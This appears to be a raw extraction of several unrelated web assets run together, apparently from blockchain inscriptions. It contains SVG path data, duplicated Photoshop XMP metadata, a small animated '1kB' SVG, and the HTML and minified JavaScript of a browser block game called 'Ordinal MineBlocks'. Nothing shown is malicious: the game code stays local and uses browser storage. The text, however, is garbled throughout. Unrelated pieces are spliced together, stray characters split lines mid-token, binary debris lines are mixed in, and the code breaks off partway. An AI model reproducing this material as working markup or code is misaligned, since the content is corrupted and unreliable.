 1-.1 1.1.2.8 1.2-.1.4-.9.1-.9.4.8v1.4l.4.8 1.2-.4.4-1.4.6.8v1.2l-.6 1-1.1.5-1.2.1-1.1-.3-.9-.2-1 .1-1 .8-1 .3h-1.2l-1.2-.2h-1.1l-.8.3-.7.8-.2.7-.1.8-.7 2.4-.8 2.3-.4.9zm61.5 2.9-.2-.8-.5-.8-.9-1.2.9-1 .8 1.5.2 1.1zm-71.2-1-.9 1-.8 1.1-.3.8-.4.9-.1-.9-.1-.8.1-1.6.5-1.2.8-.5zm8.6.8-.1.9-.3 1-.2.9.1 1-.7-.6-.5-1.1-.2-1.1.4-.9zm3-27.5-.2-1-.2-2.2-1.1-.4-1 1-1 .9-.1-.8-.2-.7-.1-1.3v-1.4l-.1-1.4.9 1 .9 1.1 1 .7h1.4l.9-1.4.5-.7.5-.7.1 1v1.1l-.4 2.1-.5 2.1-.3 1-.3 1.1-.7-.9zm2.9 0 .1-.8.8-.3 1.2.5.6.2-.1.4-.2.6-.1 1.3-1.2M
-.2-1.5-.3.2-1.3zm38.7 0 .6-.5 1-.5h.9l.7.7v.4l.1.8-.8.3h-.9l-.8-.1-.9.3-.2-1zm5 0-.4-1.8-.3-2-.6-1.9.2-.7-.5-1.1-.1-.7.9.5.7.9.4 1 .4.9.7.6 1-.3 1-.9.8-1.2.9-1.1 1-.8.3.9v3.1l-.4 1.9-.5 2-.6-.9-.8-.5-.9-.3-.8-.2-.4 1 .2 1-.4.7-.3.8-.4.8-.7.5-.4-2zm-2.8-4.7-.9.1h-.8l-.7.3-.7-.2-.5-1.8.1-1.1 1-.8 1.2-.7.6.9.4 1.1zm-37.1-.8-.2 1.5-1.2-.1-1.3-.2v-1.8l.2-.8.4-.8 1.2 1zm37.7 2.7-.8.3-.8.2-1.4.2.5-.7.8-.6h.9zm-38.6.8h-1l-1.4-.2.7-.8h.7l1.1.3zm106.9-39.4 2.3.9 2 .7 2 .5 2.2.3-.9.7-.8.5-2 .8-2 .6-2.2.2h-2l-2.2-.2-2.1-.5-2-M
.6-1.5-.8-1.5-1.1-2.9-2.2-.5-.9-.5-.9.7-.4.8-.3 1.6-.5 1.6-.6.8-.5.8-.5 2 1.2 1.9 1.2 2 1.2zm-167.2-2.5 1 1.1 1.2 1-1.2.9-1.4.7-2.8 1.1-2.4.6-2.4.8-1.2.3-1.2.3-1.2.1h-1.4l-3.9-.3-1.8-.3-.9-.3-.8-.3-.7-.2 2.1-.4 2.1-.3 2.1-.5 2-.6 4-1.5 3.9-1.4h.7l1.7-.7 1.2-.3zm-54.3-4.7-2.1-.8-2.4-1.1-2.2-1.3-2.2-1.4-2.2-1.6-2-1.6-1.9-1.8 6.7 1.9 3.3.8 1.7.2 1.8.2 3.1.1h3.1l6.2-.3 12.3-.8 1.6-.3.8-.1.8-.1 1.3-.3 1.2-.4h1.1l.6 1.2 1.5 1.6 1.4 1.4 1.6 1.3 1 .5 1 .4-2.1.7-2.2.6-3.8.9-.5.1-2.2.5-2.2.3-4.4.4-4.4.3-4.4.4-2.1-.1-2-.4-4-.M
7-2.4-.7zm36.8 0 1.1-.3 1.3-.1 1-.7h1.1l1.2.3h1.3l.4.7.5.7 1.4 1.1 1.5.8 1.5.8-1.7.9-1.7.7-1.8.7-1.8.7-3.4 1-3.5.7-3.4.4-1.8.1h-1.9l-1.7-.2-1.8-.2-1.8-.3-1.6-.4-1.7-.5-1.5-.6-1.6-.8-1.4-.9-1.6-.9 2-.3 2.1-.3 4.2-.3 4-.4 2.1-.3 1.9-.5 2.4-.5 2.5-.6 2.4-.6zm154.3 0-1-1-1-1.3 1.2-.3 1.1-.3 1.1-.5 1-.6.9-.8.9-.8.8-1 .6-1.1 1.5 1.9 1.5 1.5 1.9 1.4 2 1.1 2.2.8 2.2.6 1.8.4.6.1 2.3.2-1.4.9-1.5.7-1.5.7-1.5.5-1.6.4-1.7.3h-1.8l-1.8-.2-1.6-.2-1.6-.4-1.5-.5-1.4-.7-1.3-.7-1.3-1zm25.3 0 .4-.3 3.2-1.1 1 .5 1.1.4 1.7.5.5.1 2.3.7 2.M
3.7 2.6.5 2.7.4 2.6.3 2.7.2 2.7.1 2.7-.1 2.7-.3 2.7-.3-.9.9-1.1.9-1.5.9-1.6.8-3.5 1.4-2.2.4-2.2.3-2.2.1h-2.2l-2.3-.3-2.2-.4-2.4-.6-2.5-.9-2.5-.9-2.1-1-2-1.2-1.8-1.5.7-.9zm13.3 0-2.1-.6-1.9-.7-.9-.2-.9-.4-.8-.4-.9-.3 1.2-1.1 1.4-1 1.4-1.1.6-.7.5-.8.8-.6.9-.4 1.3-.5 1.3-.6 1.3.3 1.3.3 1.4.2 1.3.3 2.2.2 2.4.2 2.2.2 2.2.5 4.2.1 4.2-.2 4-.2 4.1-.4 4-.7 4-.8 3.8-1.1 3.8-1.4-2 2.1-2.2 1.7-2.3 1.5-2.5 1.5-2.5 1.2-2.5 1.1-2.7 1-2.6.8-3.9.9-1.6.3-2.3.3-4.3.5-4.3.3h-4.4l-4.2-.5-2.1-.3zm-5.1-7.1-1.7 1.6-1.9 1.3-2 1-2.1.8-2.1.5M
-2.3.2-2.3-.2-2.3-.5-1.7-.4-1.6-.8-3.1-1.8-.7-.8-.8-.8-.7-.8-.6-.7-1-1.7 1.3-.6 1.3-.8 1.1-.9.4-.7.5-.7 2.4 1.7 2.5 1.5 2.7 1.2 2.6 1 2.9.8 2.9.5 3.1.2zm-160.6-2.5.1.7 1.1 1.8-1.2.8-1.3.6-2.6.9-5.4 1.6-2.7.4-2.7.3-2.8.2-1.5-.1-1.3-.2-1.1-.3-1.2-.1-.7-.2-.7-.1-.7-.2-.7-.3-1.6-.7-1.7-.9-.8-.6-.8-.7-.5-.7-.6-.8 1.9.2 1.9.1h3.7l3.8-.3 3.7-.6 3-.3 2.8-.6 2.7-.8 2.8-1 1.3.4 1.2.3zm-87.4-23-1.1.2-3.5.3-3.6.1-3.6-.2-3.6-.2-1.4-.1-2.1-.2-3.4-.5-2.6-.7-2.7-.7-2.5-1-2.5-1.1-2.4-1.3-2.1-1.6-1-.9-1-1-.8-1-.9-1.3 2-.2h2l1.9-.1 1M
.9-.3h5l5-.1h4.9 2.4l2.5.2 7.2-.4 1-.1.7.4.8 1.6.9 1.6 1.1 1.5 1.2 1.6 1.3 1.4 1.5 1.3 1.5 1.1 1.6.9-3.4.7zm9.9 0 2.6.2 3.1.1 3-.1 2.9-.1h.4l2.6-.3 2.9-.4 5.7-1.1.6.9.5 1 .5.8.6.7 1.5 1.3 1.6 1 1.7 1-2.6.6-2.8.4-2.5.1-2.9.3-3.4.2-3.5-.3-3.4-.5-1.7-.4-1.6-.5-1.7-1-1.6-1.1-1.4-1.3-1.4-1.4zm260 0-1.3.9-.9.4-.9.3-.8.3-.8.3-1.7.3h-1.7l-1.7-.3-1.6-.4-1.5-.6-3.1-1.2-1.4-.6-1.2-.8-1.2-.9-1.3-.9h-.9l-.6.9.5.9 2 1.2.8.5 2.5 1.3 1.2.8 1.4.6 1.4.5 1.4.5-.8.8-1.1.6-.9.3-1 .3-1.9.3-1.9-.1-1.9-.4-1.7-.5-1.7-.7-3.4-1.5-1-.6-1-.8-1M
-.5-1.1.4.1 1.1 1 .4 3 1.9 1.5 1 .8.2.9.3-.6.7-1.4.7-.8.1-1.6.2-1.6.3-1.7-.2-1.5-.3-1.5-.3-1.5-.4-1.5-.5-1.4-.6-2.7-1.6-1-.1-.5 1.2 2.2 1.5 2.4 1.1 2.5.9 2.5.8-1.3.6-1.5.4-1.5.2-1.6.3h-1.6l-1.6-.2-1.5-.3-1.4-.3-2.1-.9-2-1-.8.1-.4.9.6.8 2.2 1 2.1 1 1.1.2 1.2.4 1.3.1h1.3l-1.2 1-1.2.8-1.5.5-1.2.3-1.8.1h-1.5l-.8-.1-.7-.1-1.5-.3-1-.4-1-.6-1-.3-1.1.2-.1.7.9.9 2.5 1.3 2.5.6 1.2.2 1.3.1 1.4-.1 1.2-.2-1.2 1.1-1.4 1-1.1.6-1.3.4-1.4.3-1.4.2h-1.5l-1.4-.1-1.4-.2-1.2-.4-.9.3.2 1 .9.6 1.9.4 2.1.2 2 .1 1.1-.2 1-.1-.8 1.4-1 1.3-1.3M
.9-.8.4-.8.2-1.4.5-1.4.2h-1.4l-1.4-.2-1.3-.3-1.4-.5-2.3-.9-1.2.6.4.9.8.5 1.1.3.9.5 1 .4 1.1.4 1.2.3 1.2.2-.1.7-.7 1.2-.9.5-1.1.6-1.3.4-.9.1-.9-.1-.8-.3-.8-.3-.8-.4-1.9-1.6h-.7l-.4 1.1.2.5.4 1 .2.9-.4 1.1-.5.7-.8.5-1.7.5-.8-.1-1.2-.7-.7-1-1-.4-.4 1 .7 1.4.8.8.8.7 1.2.1 1.3.1.7-.1 1.1-.2.9-.8.9-1.3.7-2.1 1.8.4 2 .3 1 .1 1-.2 1-.3.9-.4 1.6-1 1-1.1h.6l1.3 1.2 1.6 1.3 1.6 1 1.8.8 1.9.8 2 .4 2.1.2 2.2-.1-1.3.9-1.5.8-1.6.5-1.5.3h-1.6l-1.6-.1-1.7-.4-1.6-.5-1.1-.5-1-.8-1-.9-1.2-.3-.4.8-.1.8 1.9 1.5 1 .6 1.1.6 1 .4 1.1.4 1.2M
.2 1.2.3-1.1.3-1.1.5-1.1.3-1.3.2h-1.8l-1.8-.5-.8-.3-.8-.4-.8-.5-.7-.7-.8-.3-.8.3-.3.7 1.4 1.7 1.6.9 1.5.6 1.6.4-1 1.2-1.2.8-1.5.5-.8.1-.8.1-.7-.1-1.1-.3-1.6-.7-1.5-1-1.4-1.3h-.7l-.5 1-.8 1.5-.7.9-1 .7-.9.1-.9-.3-.7-.4-.7-.5-.8.1-.2.4-.3.6.4.9 2.4 1 1 .2 1.1-.2 1-.5.8-.7 1-1.3.4-.5.6.5 1.2.8 1 .5 1.1.3 1.2.2 1.1.1h1.2l1.3-.1 1.4-.8 1.5-.9 1.2-1.1.3-.7.3-.8 2.4-.3 1.2-.3 1.1-.4 1-.5 1.1-.6.9-.7 1-.8 1-.2 1.1-.3 1.8-.9 1.9-1 1.9-.9.7 1 .8.9.8.7.9.8 1.9 1.2 2.4 1.2 2.3.9 2.3.5 2.6.6h2.5l2.3-.3-1 .8-.7.1-.8-.1-1.2.2-.3.M
9-.1.4.9.8.6.7-.9 1.8-.8.5-.9.3-.9.1-.9-.3-1.4-.9-1.2-1.2-.6-.8-.4-.8-.1-.7-.1-1-.7-.6h-1l-.2 1.1.1.5.1.7.4 1 .7 1.1.7.9.9 1 1 .8-1.3.7-.7.2-.7.2h-.7l-.7-.2-1.1-.5-.9-.8-.9-1-.7-1-.4-1-.3-1.1-.1-1-1-.6-.4.6-.3.5.2 1.2.4 1.2.4 1.2.8 1.2.7 1.2-1 .6-1.3.4-1.1-.1-1.2-.3-.8-.4-.7-.6-1.1-1.4-.4-.8-.3-.8-.4-1.7-1.3-.6-.7.3.7 2.6.4 1.2.6 1.2-.5.9-.7.8-.8.6-.9.3-1.2.2-1.1-.2-1-.3-1-.4-.9-1-.6-1.2-.5-1.1-1.1-.6-.6.9.2.9.3.9.5.9.7.9.6.9-.6.9-1.3.3h-1.3l-1.3-.1-1.5-1-.6-.7-.4-.8-.1-1.4-.3-.9-.8-.3-.8.6-.6 1.7-.3.9-1 1.1-1.2.8-M
.7.3-1.4.3-.8.1-1-.3-.7-.9-.7-.7-1.1.2-1 .5-.9.2-1.1-3.1-.8-1.6-.9-1.4-1-1.4-1.1-1.2-1.4-.9-1-.5-.6-.3-.4-2.2-.4-1.9-.5-1.8-.7-1.7 1 .4 1.2.6 1.3.2 1-.9-.4-1.3-.5-1.2-.5-1.1-.7-1.1-1.5-2.1-1.3-1.8-.3-.4-1.8-1.8.9.3 1 .4 1 .2.9-.5-.1-.8-.2-.7-.8-1.2-2.5-3-1.4-1.4-1.5-1.2 1.1-.4 1.4.1 1.4.1.7-.1 3-.6 2.3-.6 1.1-.5.9-.5.9-.8.6-1 .6-1.9.1-.4.9-2.3.5-1 .6-.9.6-1 .9-.9.8-.8.8-.8 1-.7.9-.7 2.1-1 2.2-1 .3-.9 1.6-2.5.9-1.3.6-.8 1.7-1.9 2.1-1.7 2-1.4 2.2-1.2 2.3-1 2.4-.7 2.5-1 2.5-.6 2.6-.7 2.5-.8 2.1-.4 2.1-.4 2.1-.1 2.2-.2M
 4.5-.1 4.5-.3 12.7.2h12.7 12.8l12.8-.1 2-.2 1.9.1 3.9.1-.3.7-1.5 1.6-1.1.8-.9.9-1.4.8-1.5.8-3.1 1.2-3.2.9-3.3.7-3.4.4-3.5.1-3.4-.2-3.4-.5-2.9-.4-2.8-.4-2.8-.8-1.3-.4-1.3-.6-.9.1-.4.7.2.8 2.1.9 1.5.5 1.7.4 3.1.8-1.4 1.6-1.5 1.4zm21.5 0-1.1.8-3.2 1.5-3.3 1.4-1.9.6-2 .6-2 .2-2.2.3h-4.2l-2.2-.3-2-.2-1.1-.4-1-.3 3.4-1.1 1.7-.8.7-.4.8-.6 1-1.1 1.2-1 .9-1 .7-1.3 1.6.4 1.6.2 3.4.2h6.8l1.7-.3 1.8-.4 1.8-.3 1.7-.5-1.3 1.4-1.4 1.1-1.5 1zm35 0-1.6 1.5-2.3 1.6-2.5 1.2-2.6 1-2.6 1-2.8.6-2.8.5-2.8.4-2.8.3-2.9.2-3-.1-2.9-.1-2.9-.M
3-2.8-.5-2.7-.6-1.1-.5-1.1-.3 6-2.8 2.5-1.5 2.3-1.5 2.3-2 2.2-2 1.1.2 1.1.4 5.3.9 2.7.4 2.7.4 2.7.2 2.9.1 2.7-.1 2.6-.5 5.3-.5-1 1.1-1 1zm-328.2 16.3-.8-.4-3.1-2.2-1.5-1.2-1.2-1.2 4 .5 4 .3 4 .2 4-.1 4-.3 4-.3 3.9-.5 3.9-.8 1.8.6 1.8.9 1.8.8 1.8.8 2.7.7 2.6.9 2.6.8 1.4.2 1.4.1 1 .2 1.5.1 1 .6.5 1.2 1 1.1.9 1.1 1 1 1.2.8-1.7.5-1.7.4-1.7.3-1.8.1-3.8.1-1.8.2-1.9.2-5.8.1h-2.8l-2.8-.1-2.8-.2-2.7-.4-2.8-.6-2.5-.8-4-1.2-3.9-1.5-3.7-1.6zm58.4 0 2.2-.4 2.9-.6 2.9-.7 5.6-1.6.6.7 1.4 1 .8.3.7.2 1.7.2h1.7l.7 1 1.1 1.1 1.1.9 1.M
1.5-.5 1.1-1.2.5-2 .6-2 .5-4 .7-8.3 1.1-3.2-.4-3.2-.3-1.5-.3-1.3-.5-1.6-.5-1.3-.7-.7-.2-.7-.4-1-1-.9-1.2-1-1.2 3.2.3 3-.2 3-.3zm171.6 0 .9-.8.8-.8.7-1 1.8-.2 1.6-.4 1.6-.5 1.6-.7 1.4 1.1 1.5.9 1.5.8 1.7.6 3.2 1.1 3.4 1.3.9.2 1 .3 2 .3 4.2.2-1 .9-.9.8-1 .7-1.1.6-1.2.5-1.2.4-2.6.7-2.5.3-2.7.1-2.6-.3-2.6-.5-1.4-.4-1.6-.4-2.8-1.3-2.7-1.5-2.5-1.8zm25 0-.6-.1-1.3-.3-1.2-.5-1.1-.6-1.3-.2-1.1-.4-1.1-.4-1.1-.3-2.8-1.1-1.3-.8-1.1-1h1.1l1.2-.2 1.1-.3 1.2-.2 1-.5 1-.5 1-.5.9-.7 1.6.4 1.7.2h1.7l1.8-.1 1.7-.5 1.6-.6 1.5-.8 1.3-1M
.1 4 .9 4.2.8 2 .2 2.2.1h2.3l2.2-.2.8-.2.9-.1 1-.1.8-.3-1 1.3-1.1 1.1-1.1 1-1.1 1-1.3.8-1.3.9-2.6 1.3-2.9 1.1-2.9.7-2.3.4-.8.1-3.3.1h-2.8l-2.7-.1zm18.6 0 .5-.2 1.7-.8 2-1.2 2-1.3 1.9-1.6.9-.8.7-.9 1-1.1.8-.6 3.5 1 3.4.7 3.5.5 3.6.3h3.6l3.6-.2 3.5-.5 3.5-.5 3.3-.8 3.3-1-1.4 1.9-1.6 1.6-1.8 1.5-1.8 1.2-2 1.1-2 1-1.2.5-2.8 1.4-4 1.5-4.1 1.3-4.3 1.2-4.3.8-4.5.5-4.5.3h-4.6l-4.7-.1-1-.3-1.1-.2-2.3-.2-2.3-.3-1.1-.1-1-.3-1.8-.2.8-.5.7-.6 1.4-1.2.8-.6.8-.4 1-.2.9.1 3.4-.6 1.5-.4 1.6-.7.9-.2zm-264.1-15.4 1 1.1 1 1.2 1.2 1 1.M
2.9 1.3.8 1.4.7 1.3.5 1.5.2.9.5 1 .2 1 .3 1 .2-1 .6-1.2.2-1.3.2-1.2.2-3.2.4-3.3.1-3.3.2-3.3.1-3.3-.2-3-.2-3.1-.5-3.1-.5-3.6-1.3-1.8-.7-1.8-.9-1.7-.8-1.6-1.1-1.4-1.4-1.3-1.5 7.3.6 3.7.3 3.7.1 3.6-.1 3.7-.3 3.6-.4 3.5-.7zm51.6 7.3.5.8.7.6 1.5 1.2 1.6.9 1.7.5-2.3.8-2.4.6-2.3.5-2.4.4-2.4.3-2.6.1h-2.6l-2.5-.1-2.5-.2-2.5-.5-2.4-.5-2.3-.6-4.4-1.6-4.4-1.6-.8-.7-1-.4 6-.3 3-.4 3-.5 2.4-.2 2.4-.5 4.7-1.1 1.2 1.1 1.4.8 1.6.6 1.5.3 1.7.3h1.7l1.6-.2z" fill="#ffd432"/></svg>h!
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:327CCFD6AA4011EDABCBB53B77891A8D" xmpMM:InstanceID="xmp.iid:327CCFD5AA4011EDABCBB53B77891A8D" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:5ca6d904-7bd7-bb4f-b379-9e8b79efc1fa" stRef:documentID="adobe:docid:photoshop:60b063a4-3835-9344-8d90-1e6e724fd8d6"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 6.0-c002 79.164488, 2020/07/10-22:06:53        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="xmp.diM
d:e0d18448-e896-5e43-a0da-1b9382b0ded8" xmpMM:DocumentID="xmp.did:3AB49FACAAE111ED8E9DBB7AF87442C9" xmpMM:InstanceID="xmp.iid:3AB49FABAAE111ED8E9DBB7AF87442C9" xmp:CreatorTool="Adobe Photoshop 22.0 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:bfe6075a-4a48-824a-9b17-dbd17a4d3509" stRef:documentID="adobe:docid:photoshop:465ad496-f16c-d742-820d-e7e2178cc0b5"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
&2.&&&&.>55555>DAAAAAADDDDDDDDDDDDDDDDDDDDDDDDDDDDDM
&6& &6D6++6DDDB5BDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
IiCCPsRGB IEC61966-2.1
59.37.100 libvpx-vp9g
<svg xmlns="http://www.w3.org/2000/svg" xml:space="preserve" style="background:#b0752b;font-family:monospace" viewBox="0 0 1080 1920"><style>svg{animation:a ease-in-out
9s infinite}@keyframes a{from{transform:translateY(0%)}50%{transform:translateY(1%)}to{transform:translateY(0%)}}path,g{transform-origin:50%}@media(min-aspect-ratio:5/3){path{transform:rotate(90deg)scale(1.5)}g g{transform:translate(15%,7%)scale(1.55)}}</style><g><path d="M942 1752V274l-30-101c-4-12-13-33-39-33H207c-25 0-35 22-38 33l-30 101v1483c0 M
18 19 22 42 22h718c30 0 43-12 43-27" fill="#b0752b"/><path d="M912 173v1370c0 28 2 57 7 85l23 124V274l-30-101zm-49 1385H221c-21 0-39 15-42 35l-26 151c-4 21 16 35 33 35h709c17 0 37-17 34-35l-27-153c-3-20-20-33-39-33zm-724 194 23-124c5-28 7-57 7-85V173l-30 101v1478zM873 140H208c-16 0-28 12-28 27v1348c0 17 14 31 31 31h659c17 0 31-14 31-31V167c0-15-13-27-28-27z" fill="#fed65c"/><g><text x="50%" y="49%" text-anchor="middle" style="fill:#b0752b;font-size:256px;pointer-events:none">1kB</text></g></g></svg>h!
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
f(Array.isArray(e))return e;if(Symbol.iterator in Object(e))return t(e,r);throw new TypeError("Invalid attempt to destructure non-iterable instance")}}(),a=r(1),u=function(t){return t&&t.__esModule?t:{default:t}}(a),c=e.time=0,f=[154,218,255],s=[200,25,75];(0,u.default)(function(){e.time=c+=.5,255<c&&(e.time=c=-255)}),t.exports={color:function(){var t=o(),e=i(t,3),r=e[0],a=e[1],u=e[2],c=1-n();return[r*c,a*c,u*c]},timeModifier:n,setTime:function(t){e.time=c=parseFloat(t)},getTime:function(){return c}}},function(t,e,M
r){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var n=r(0),o=function(t){return t&&t.__esModule?t:{default:t}}(n);e.default={safeGet:function(t){return o.default.tryCatch(function(){return localStorage.getItem(t)})||""},safeSet:function(t,e){return o.default.tryCatch(function(){return localStorage.setItem(t,e)})||""},exits:function(){try{return localStorage.getItem(null),!0}catch(t){return!1}}}},function(t){"use strict";t.exports={RES:{WIDTH:320,HEIGHT:240},MAP_SIZE:256,MAX_FPS:60,SEA_LEVEL:30,MAP_M
SCALE:31,JMP:{STR:.4,AMP:.001},BLOCKS_MAP:[[2,4,12,7,9,11,13,14,15,16],[1,20,3,6,10,8,5,17,18,19]],CRAFTABLES:{2:[1,1],4:[20,6],7:[6,.25],9:[10,8],11:[8,.5],12:[3,4],13:[5,2],14:[17,9],15:[18,9],16:[19,9]},LOCAL_STORAGE:["_mcm","_mcs","_mct","_mci"]}},function(t,e,r){"use strict";function n(t){for(var e=0;e<t.length;e++){var r=e%256,n=0|e/256%64,o=0|e/256/64;if("-"!==t[e]){var i=l.indexOf(t[e]);-1!==i&&(window.game.map[o][n][r]=i)}}}function o(t,e){for(var r="",n=0;n<e;n++)r+=t;return r}function i(t){for(var e,r=""M
,n="",i=0;i<t.length;i++)e=/\d/.test(t[i]),e?n+=t[i]:n?(r+=o(t[i],parseInt(n,10)),n=""):r+=t[i];return r}var a=r(0),u=r(2),c=r(3),f=function(t){return t&&t.__esModule?t:{default:t}}(c),s=r(6),l=Array(58).fill(1).map(function(t,e){return String.fromCharCode(65+e)});t.exports={main:function(){var t=window,e=t.game,r=f.default.safeGet("_mct"),o=(0,a.tryCatch)(function(){return JSON.parse(f.default.safeGet("_mci"))});o&&(e.hotbar.items=o.map(function(t){return null===t?1/0:t})),r&&(0,u.setTime)(r);var c=f.default.safeGM
